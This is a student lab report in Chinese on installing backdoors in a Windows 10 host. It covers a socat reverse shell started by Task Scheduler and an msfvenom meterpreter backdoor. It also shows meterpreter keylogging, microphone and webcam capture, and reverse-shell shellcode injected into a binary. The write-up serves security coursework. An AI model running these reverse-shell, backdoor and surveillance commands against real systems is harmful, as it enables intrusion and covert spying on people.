预备工作
- 很多博客都说要配置桥接以达到主机和虚拟机通信的效果,但其实 Nat 模式就可以达到这个效果,我用的是 Nat 模式。
- 虚拟机安装 metasploit,这个框架默认的数据库是 postgresql,终端报创建数据库相关错误的,和我一样重装 postgresql 吧……
- 打开 windows10 麦克风和摄像头使用权限(在设置中),关闭所有杀毒软件。
实验
一、使用netcat获取主机操作Shell,cron启动
nc命令
-l (listen) 表示监听
-p (port) 指定端口
-e (execute) 指定可执行数据流
cron定时任务
按此格式设置
m分钟 h小时 dom日期 mon月 dow周几 command执行的命令
- 步骤
-
设置 cron,输入 crontab -e,选择
nvim编辑配置文件

-
设置在每个小时的第32分钟执行后面的那条指令。(据我观察第32分钟后这个进程就会一直跑下去,和我想象的不一样)

-
到了32分,上面的那条指令就会执行,此时 windows10 获得 shell

-
二、使用socat获取主机操作Shell, 任务计划启动
-
socat命令socat <addr> <addr>在两个地址间形成的是一个 双向通道 ,类似于nodejs中的pipe,可以边读边写socat -u命令可以指定数据流的方向,即一个单项通道-
以下是部分标识 - STDIN,STDOUT 表示标准输入输出 TCP:: 建立一个 TCP 连接作为数据流,TCP 也可以替换为 UDP TCP-LISTEN: 建立一个 TCP 监听端口,TCP 也可以替换为 UDP EXEC: 执行一个程序作为数据流 - 具体例子可以看这篇博客
https://www.hi-linux.com/posts/61543.html
-
步骤
-
设置windows10任务计划程序。搜索管理工具,点击任务计划程序

-
设置触发器(触发的时间与频率)

-
设置操作,添加可执行文件(socat.exe)的文件路径及参数。相当于 执行
socat exec:cmd.exe,pty tcp:192.168.80.139:8888。注意,exec:后面必须要加上pty,否则会报找不到管道的错误。具体解释:Generates a pseudo terminal (pty) and uses its master side. Another process may open the pty's slave side using it like a serial line or terminal. (example). If both the ptmx and the openpty mechanisms are available, ptmx is used (POSIX)。翻译成中文仍不明白它在说什么,尴尬。

-
在 14:49 时,此任务触发。我们可以在任务列表中找到这个进程

-
linux 上启动监听
socat - tcp-listen:8888,获得windows shell

-
删除此任务
-
三、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
-
生成后门文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.139 LPORT=8888 -f exe > mt_backdoor.exe参数说明详见实验指导
-
使用
socat将可执行文件发送至 windows虚拟机开启监听

windows 使用
.socat.exe -u tcp:192.168.80.139:2000 open:mt_backdoor.exe,create接收可执行文件

-
虚拟机开启监听


-
windows terminal 上运行
.mt_backdoor.exe,linux 平台获得远程监听 shell

四、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
-
查看
arp 缓存

-
sysinfo查看系统信息

-
keyscan_start开始抓取击键记录,keyscan_dump输出击键记录,keyscan_stop停止

-
record_mic获取主机麦克风内容,-d指定录制时长

-
webcam_snap获取使用摄像头拍摄

-
shell可以获取交互式shell

-
使用
getsystem提权windows10失败。别人的博客说要利用其他的漏洞(windows/local/bypassuac),菜鸟表示目前没看懂。
五、使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
-
使用如下shellcode
xc0xd6xffxffx31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80 -
前四个字节( retaddr )应覆盖为
shellcode在内存中的地址,方法同实验一,这里就不截图了。 -
开启服务端监听

-
注入shellcode

-
设置
msf并获得结果- use exploit/multi/handler
- set payload linux/x86/shell_reverse_tcp
- set LHOST 127.0.0.1
- set LPORT 4444
- exploit

六、思考与总结
1、基础问题回答
-
例举你能想到的一个后门进入到你系统中的可能方式?
安装的第三方软件可能包含后门。下载的图片也可能包含后门
-
例举你知道的后门如何启动起来(win及linux)的方式
- linux: cron定时任务
- windows: 任务计划程序,自启动项
-
Meterpreter有哪些给你映像深刻的功能
screenshare可以实时分享屏幕,虽然效果很糟糕- 可以调用
ruby shell,这么复杂的工具竟然是用ruby写的
-
如何发现自己有系统有没有被安装后门
- 查看端口占用情况,注意被占用的过大的端口
- 查看自启动项
- 杀毒软件检测
2、实验总结体会
除了提权(未解决)之外没有遇到什么阻碍。做实验时觉得新奇好玩,现在想想还是挺复杂的,meterpreter 真的是对着指导书输指令,输完了就忘了好多。